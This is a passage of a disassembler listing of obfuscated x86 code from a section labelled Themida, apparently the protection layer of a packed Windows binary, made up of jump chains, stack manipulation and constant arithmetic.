		jmp	loc_5A036A
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BA2E:				; CODE XREF: sub_5A8D43-B191j
		mov	ecx, 1E561042h
		jmp	loc_59BF0E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_59BA38:				; CODE XREF: sub_5AAA81+1j
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		jmp	loc_5A5AA7
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_59BA4B:				; CODE XREF: sub_5A91CF+56D9j
		pop	ebp
		jmp	loc_59B2B3
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59BA51:				; CODE XREF: sub_59B48F+13BF7j
		add	ecx, edx
		pop	edx
		push	6251h
		mov	[esp+0], edi
		mov	edi, 2
		push	esi
		mov	esi, 513D0AE4h
		jmp	loc_5A7E28
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BA6C:				; CODE XREF: sub_5A8D43-C0ADj
					; sub_5AC95F-990Ej
		add	cl, 5Fh
		jmp	loc_5A8620
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59BA74:				; CODE XREF: Themida_:005AE9DAj
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	eax
		jmp	loc_5A089A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59BA7F:				; CODE XREF: sub_5A28BE+9C21j
		or	edx, 78EB471Bh
		add	edx, 8EB22101h
		or	ebx, edx
		pop	edx
		jmp	loc_5A1149
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59BA93:				; CODE XREF: sub_5AC95F:loc_5A0110j
					; sub_5AC95F-9513j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A25A6
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59BAA1:				; CODE XREF: Themida_:005A7BA4j
		shr	bl, 4
		shr	bl, 3
		sub	esp, 2
		mov	[esp], dx
		push	eax
		mov	al, 0B7h
		mov	dl, al
		pop	eax
		push	edx
		mov	dh, 0C8h
		sub	dh, 0CEh
		xor	dh, 0A0h
		push	ebx
		jmp	loc_5A8003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_59BAC3:				; CODE XREF: sub_598D67+429Aj
		add	eax, esi
		jmp	loc_599DD2
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_59BACA:				; CODE XREF: Themida_:005AC030j
		neg	ebp
		sub	ebp, 80DEA72Eh
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 622C0E9Ch
		add	eax, 0D4131A2Fh
		add	eax, 2B503438h
		ja	loc_5A1C73
		shl	eax, 8
		jmp	loc_59B655
; ---------------------------------------------------------------------------
		db 89h,	0D2h
; ---------------------------------------------------------------------------
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59BB0B:				; CODE XREF: sub_5A1340+1CA9j
		pop	eax
		add	dl, 92h
		jnz	loc_5AD587
		push	eax
		mov	ah, 0B7h
		dec	ah
		shl	ah, 1
		dec	ah
		not	ah
		push	ebx
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_5A1340

; =============== S U B	R O U T	I N E =======================================



sub_59BB22	proc near		; CODE XREF: sub_59D7E7-4035j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C732 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3E00 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4F58 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A9CB7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC177 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 72676C23h
		xor	ebp, 52F603B9h
		dec	ebp
		xor	ebp, 869AC2DAh
		jmp	loc_59C732
sub_59BB22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_59BB3F:				; CODE XREF: sub_5A17D6+3975j
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	sub_5A4E39
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59BB57:				; CODE XREF: sub_59B707+13B6j
		mov	[esp+4+var_4], ebx
		push	eax
		jmp	loc_5ACF48
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59BB60:				; CODE XREF: sub_59ACEC+B34Bj
		mov	[esp+4+var_4], ebx
		push	eax
		mov	eax, 661D068Eh
		xor	[esp+8+var_4], eax
		pop	eax
		pop	edx
		push	esi
		mov	esi, 7FAC3B28h
		push	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		pop	esi
		pop	ecx
		jmp	loc_5AD8D4
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_59BB86:				; CODE XREF: Themida_:005A162Bj
		sub	ebx, 0A1D5168h
		add	ebx, esi
		add	ebx, 0A1D5168h
		jmp	loc_5AC117
; ---------------------------------------------------------------------------


loc_59BB99:				; CODE XREF: Themida_:005A932Aj
		pop	edi
		push	2EA5h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59F1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_59BBAE:				; CODE XREF: sub_59D151+1Cj
		jmp	loc_5AB5F0
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_59BBB3:				; CODE XREF: sub_5ABA9B+1395j
		shl	ebx, 6
		sub	ebx, 9074500Dh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5A4015
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_59BBC4:				; CODE XREF: Themida_:0059DCD0j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_597B6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BBCF:				; CODE XREF: sub_5A8D43+13BCj
		mov	ebx, esp
		jmp	sub_5A72FB
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59BBD6:				; CODE XREF: sub_5A8C33-4850j
		jmp	sub_5A2A2A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59BBDB:				; CODE XREF: sub_59F2C8-41Bj
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		push	eax
		jmp	loc_5A5392
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A989A


loc_59BBE9:				; CODE XREF: sub_5A989A-9B40j
		push	edi
		push	esi
		mov	esi, 3EE41BA0h
		mov	edi, esi
		pop	esi
		jmp	loc_5A6E1F
; END OF FUNCTION CHUNK	FOR sub_5A989A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BBF8:				; CODE XREF: sub_5A8D43+61DEj
		mov	esp, [esp+14h+var_14]
		jmp	loc_5A9222
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59BC00:				; CODE XREF: Themida_:0059B93Dj
		push	7E1Ch
		mov	[esp], ebp
		mov	ebp, 168C1C57h
		mov	edx, ebp
		pop	ebp
		sub	edx, 0FFFFFFFFh
		add	edx, 1
		push	ebp
		jmp	loc_5A4ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BC1C:				; CODE XREF: sub_5A8D43+5410j
		jmp	loc_5A34EF
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59BC21:				; CODE XREF: sub_59B707+120F6j
		add	ecx, eax
		add	ecx, 2FF10807h
		mov	eax, [esp+8+var_8]
		jmp	loc_5A70B7
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59BC31:				; CODE XREF: sub_59D99C+7683j
					; sub_59EF66+A926j
		mov	ebp, 5BC21CF3h
		jmp	loc_5A81D8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59BC3B:				; CODE XREF: sub_5A141E-6055j
		push	small 6397h
		mov	[esp+0], cx
		mov	cx, 6849h
		sub	ax, cx
		pop	cx
		add	ax, di
		jmp	loc_5A6BED
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_59BC54:				; CODE XREF: sub_59EB21+30EDj
		pop	edi
		xor	ecx, 51C94C37h
		jmp	loc_59A037
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_59BC60:				; CODE XREF: sub_5987D8+7B8Dj
		sub	eax, edx
		pop	edx
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		push	[esp-0Ch+arg_8]
		jmp	loc_599944
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_5AEEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59BC7A:				; CODE XREF: sub_5A1B2A+8A9Aj
		pop	edx
		pop	ebx
		pop	dx
		sub	bl, ah
		jmp	loc_5AD677
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59BC85:				; CODE XREF: Themida_:0059F4C9j
		sub	ebx, 2C69771Fh
		jmp	loc_5AB221

; =============== S U B	R O U T	I N E =======================================



sub_59BC90	proc near		; DATA XREF: Themida_:00597920o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B801 SIZE 00000007 BYTES

		lodsb
		push	7DDFh
		mov	[esp+4+var_4], edx
		jmp	loc_59B801
sub_59BC90	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_59BC9E:				; CODE XREF: sub_59E1B6+F7C3j
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+4+var_4], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_5AA7E1
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59BCC6:				; CODE XREF: sub_5A8F00+42j
		mov	ebx, [esp+8+var_8]
		jmp	loc_5A77AB
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59BCCE:				; CODE XREF: sub_59D99C-2AE1j
					; sub_5A5F8D+67BCj
		mov	esi, 79C31CBBh
		or	ecx, esi
		pop	esi
		jmp	loc_5A69BA
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59BCDB:				; CODE XREF: Themida_:005A80ABj
		push	esp
		pop	ebx
		push	edx
		jmp	loc_59D136
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_59BCE3:				; CODE XREF: sub_5A17D6-B8Ej
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_5AAD79
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------


loc_59BCEB:				; CODE XREF: Themida_:005A0765j
		jg	loc_59D218
		jmp	loc_5A64DB
; ---------------------------------------------------------------------------
		mov	bh, dl
		pop	edx
		mov	ax, [esp]
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59BCFD:				; CODE XREF: sub_597F0C+163B1j
		add	[esp+4+var_4], 40A7271Dh
		jmp	loc_5A4BB1
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_59BD09:				; CODE XREF: Themida_:005A76F1j
		mov	[esp], ebp
		push	eax
		push	edx
		mov	edx, 180A4723h
		mov	eax, edx
		jmp	loc_5ADA94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5509


loc_59BD1A:				; CODE XREF: sub_5A5509+Cj
		sub	edx, 0F09FAFh
		mov	eax, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		not	eax
		push	ebp
		jmp	loc_5AE05F
; END OF FUNCTION CHUNK	FOR sub_5A5509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59BD30:				; CODE XREF: sub_5AC95F-B89Cj
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		jmp	loc_5A173C
; END OF FUNCTION CHUNK	FOR sub_5AC95F

; =============== S U B	R O U T	I N E =======================================



sub_59BD3A	proc near		; CODE XREF: sub_5ABE52-FD00j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059816E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A3D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A9F3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059D670 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E516 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0A0F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7D6F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A85EA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC4E4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADAEC SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_5A7D6F
sub_59BD3A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598936


loc_59BD45:				; CODE XREF: sub_598936+1114Dj
		pop	[esp+10h+var_10]
		push	ebp
		mov	ebp, 4
		add	[esp+10h+var_C], ebp
		pop	ebp
		mov	ecx, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, 0D995DAEh
		jmp	sub_5AD830
; END OF FUNCTION CHUNK	FOR sub_598936
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59BD71:				; CODE XREF: sub_59A932+D77Fj
		mov	[esp+10h+var_10], ebp
		push	2
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		add	eax, 11E64666h
		add	eax, ebp
		sub	eax, 11E64666h
		pop	ebp
		jmp	loc_59C113
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59BD94:				; CODE XREF: sub_5A28BE-12ABj
		not	ebp
		shl	ebp, 8
		inc	ebp
		jmp	sub_5AE45C
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59BD9F:				; CODE XREF: sub_5AB98B-C2AEj
		and	ch, 17h
		shl	ch, 6
		add	ch, 2Ch
		jmp	loc_5AAC20
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59BDAD:				; CODE XREF: sub_59DFDD+6187j
		xor	esi, 9CFA86B4h
		jmp	loc_59FCBC
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59BDB8:				; CODE XREF: sub_599059:loc_5987E1j
					; sub_59CA4A+11795j
		push	edi
		jmp	loc_5A2671
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59BDBE:				; CODE XREF: sub_5AC95F-BF7Ej
		pop	ebx
		xor	ebx, 1E6E6FC4h
		mov	edx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		push	ebp
		jmp	loc_5A9EC1
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_59BDD8:				; CODE XREF: sub_5A58AC+47C6j
		add	edi, edx
		pop	edx
		jmp	loc_5A2194
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59BDE0:				; CODE XREF: sub_599059+73DAj
		jz	loc_5A915F
		dec	edi
		shl	edi, 1
		push	esi
		jmp	loc_5A3BB5
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59BDEF:				; CODE XREF: Themida_:0059C651j
		mov	eax, esi
		pop	esi
		jmp	loc_5ACEF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A772


loc_59BDF7:				; CODE XREF: sub_59A772+11j
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_598B3F
; END OF FUNCTION CHUNK	FOR sub_59A772
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_59BE01:				; CODE XREF: sub_5A8899-AE5Dj
		pop	esi
		xor	esi, 9AFEFD72h
		xor	edx, esi
		pop	esi
		pop	ebx
		jmp	loc_598D75
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59BE11:				; CODE XREF: sub_59C53B-389Ej
		add	esp, 4
		jmp	loc_5A4A21
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_59BE19:				; CODE XREF: Themida_:005AEA84j
		pop	esi
		pop	edi
		jmp	loc_59E432
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_59BE20:				; CODE XREF: sub_5A6DA1+1650j
		mov	edi, 33883A97h
		jmp	sub_5A1B2A
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


loc_59BE2A:				; CODE XREF: sub_5AB511-39E5j
		xchg	esi, [esp+4+var_4]
		pop	esp
		sub	ebp, 0F4F465EAh
		sub	ecx, ebp
		pop	ebp
		push	edi
		jmp	loc_5A4713
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59BE3D:				; CODE XREF: sub_59B707+98FDj
		shr	edi, 6
		push	ebx
		push	edi
		push	esi
		mov	esi, 2E2B66D9h
		push	ecx
		mov	ecx, 503C0EE7h
		sub	ecx, 569573DCh
		shl	ecx, 6
		jp	loc_5A0E7B
		xor	ecx, 0C91B6856h
		mov	edi, ecx
		pop	ecx
		pop	esi


loc_59BE67:				; CODE XREF: sub_5986D6:loc_5A1172j
		xor	al, 9Ch
		mov	bl, al
		pop	eax
		jmp	loc_5A6C7E
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59BE71:				; CODE XREF: Themida_:005AB2D7j
		dec	ecx
		jz	loc_5A0B29
		add	ecx, 975FA06Fh
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A78C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59BE86:				; CODE XREF: sub_59C53B-1E87j
		sub	ecx, 6A91746Fh
		jmp	loc_59E8C9
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACC65


loc_59BE91:				; CODE XREF: sub_5ACC65-3917j
		pop	ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5A2C65
; END OF FUNCTION CHUNK	FOR sub_5ACC65
; ---------------------------------------------------------------------------


loc_59BEA4:				; CODE XREF: Themida_:005A4BF0j
		add	esp, 4
		jmp	loc_5AD0F2
; ---------------------------------------------------------------------------


loc_59BEAF:				; DATA XREF: Themida_:00597890o
		xor	[esp], ch
		xor	ch, [esp]
		xor	[esp], ch
		push	cx
		xchg	dl, [esp+1]
		not	dl
		push	cx
		mov	cl, dl
		jmp	loc_5A1F6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59BEC9:				; CODE XREF: sub_59D24A+5581j
		sub	al, bh
		sub	al, 6Ch
		pop	ebx
		push	ecx
		jmp	loc_5A8F47
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_59BED4:				; DATA XREF: Themida_:0059789Co
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5999A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_59BEDD:				; CODE XREF: sub_5A7C98-1EADj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_5A32AE
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59BEEE:				; CODE XREF: sub_5A34FD+1A92j
		add	edx, 4
		sub	edx, 2
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_5A8DAC
; END OF FUNCTION CHUNK	FOR sub_5A34FD

; =============== S U B	R O U T	I N E =======================================



sub_59BF05	proc near		; DATA XREF: Themida_:00597AD4o
		neg	byte ptr [esp+0]
		pushf
		jmp	loc_597B5F
sub_59BF05	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BF0E:				; CODE XREF: sub_5A8D43-D310j
		sub	ecx, 0F691E2D5h
		sub	esi, ecx
		pop	ecx
		jmp	loc_59FF7D
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_59BF1C:				; CODE XREF: sub_59D151+F7FDj
		jmp	loc_5A6C7E
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59BF21:				; CODE XREF: sub_59EE40+6DC2j
		pop	ebx
		xor	ebx, 20994E8Dh
		pop	ebp
		add	[esp+8+var_4], ebx
		pop	ebx
		mov	eax, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_5AD207
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59BF45:				; CODE XREF: sub_59D24A+4D1Bj
		pop	ecx
		jmp	loc_599B9B
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_59BF4B:				; CODE XREF: Themida_:00599FE3j
		xchg	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_5ABADB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59BF55:				; CODE XREF: sub_5AE6FD-FC11j
		mov	ah, dh
		pop	edx
		sub	ah, 52h
		add	ah, 0CFh
		jmp	loc_5A40C6
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_59BF63:				; CODE XREF: Themida_:0059DDE2j
		add	ebp, esi
		jmp	loc_5A45ED

; =============== S U B	R O U T	I N E =======================================



sub_59BF6A	proc near		; CODE XREF: sub_5A0F44-6499j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C6CD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059D770 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 75361FB4h
		neg	ebx
		shl	ebx, 5
		jmp	loc_59D770
sub_59BF6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59BF7F:				; CODE XREF: sub_5A600F+4B2Bj
		push	eax
		push	[esp+6+var_4+2]
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5AC31F
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59BF8E:				; CODE XREF: sub_59B707-3B3Cj
		not	dh
		mov	bh, dh
		pop	edx
		shl	bh, 4
		push	ecx
		mov	ch, 92h
		or	ch, 17h
		shr	ch, 8
		sub	ch, 6Fh
		jmp	loc_5A6FDC
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59BFA7:				; CODE XREF: Themida_:005A4565j
		mov	[esp], ebx
		push	esp
		jmp	loc_59C4C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59BFB0:				; CODE XREF: sub_5AC95F-C2D0j
					; sub_5A7343-4E7Bj
		pop	esi
		add	edx, eax
		sub	edx, 16AC7009h
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_5A4B3C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59BFCA:				; CODE XREF: Themida_:005A3978j
		not	ebp
		sub	ebp, 0D1FADB52h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59E74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59BFDA:				; CODE XREF: sub_5A1B2A+3274j
		sub	edx, 0C9C233Bh
		jmp	loc_59CAD7
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59BFE5:				; CODE XREF: sub_5AC95F-82D2j
		jmp	loc_597EF8
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59BFEA:				; CODE XREF: Themida_:005A937Fj
		xor	eax, 2D575B0Ah
		jmp	loc_5A0B9E
; ---------------------------------------------------------------------------


loc_59BFF4:				; CODE XREF: Themida_:00599AFDj
		pop	esi
		jmp	loc_5AB015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59BFFA:				; CODE XREF: sub_5A8D43-6622j
		pop	edi
		jmp	loc_598CDD
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_59C000:				; CODE XREF: sub_59EF66-574Cj
		push	[esp-4+arg_0]
		pop	edx
		jmp	loc_5A3C4C
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A594B


loc_59C009:				; CODE XREF: sub_5A594B+34j
		add	esi, 1DCBAC32h
		jmp	loc_5ACD92
; END OF FUNCTION CHUNK	FOR sub_5A594B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edx
		jmp	loc_5A2458
; ---------------------------------------------------------------------------


loc_59C022:				; CODE XREF: Themida_:005A75AFj
					; Themida_:005AEA30j
		jmp	loc_59CB0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59C027:				; CODE XREF: sub_59CA4A-2200j
		pop	ebx
		push	esi
		sub	esp, 4
		jmp	loc_5A7F24
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_59C031:				; CODE XREF: sub_599526+B0F1j
		add	bl, 57h
		jmp	loc_5A3B63
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59C039:				; CODE XREF: sub_5A8C33+3D7Aj
		push	[esp-10h+arg_C]
		mov	edx, [esp-0Ch+arg_8]
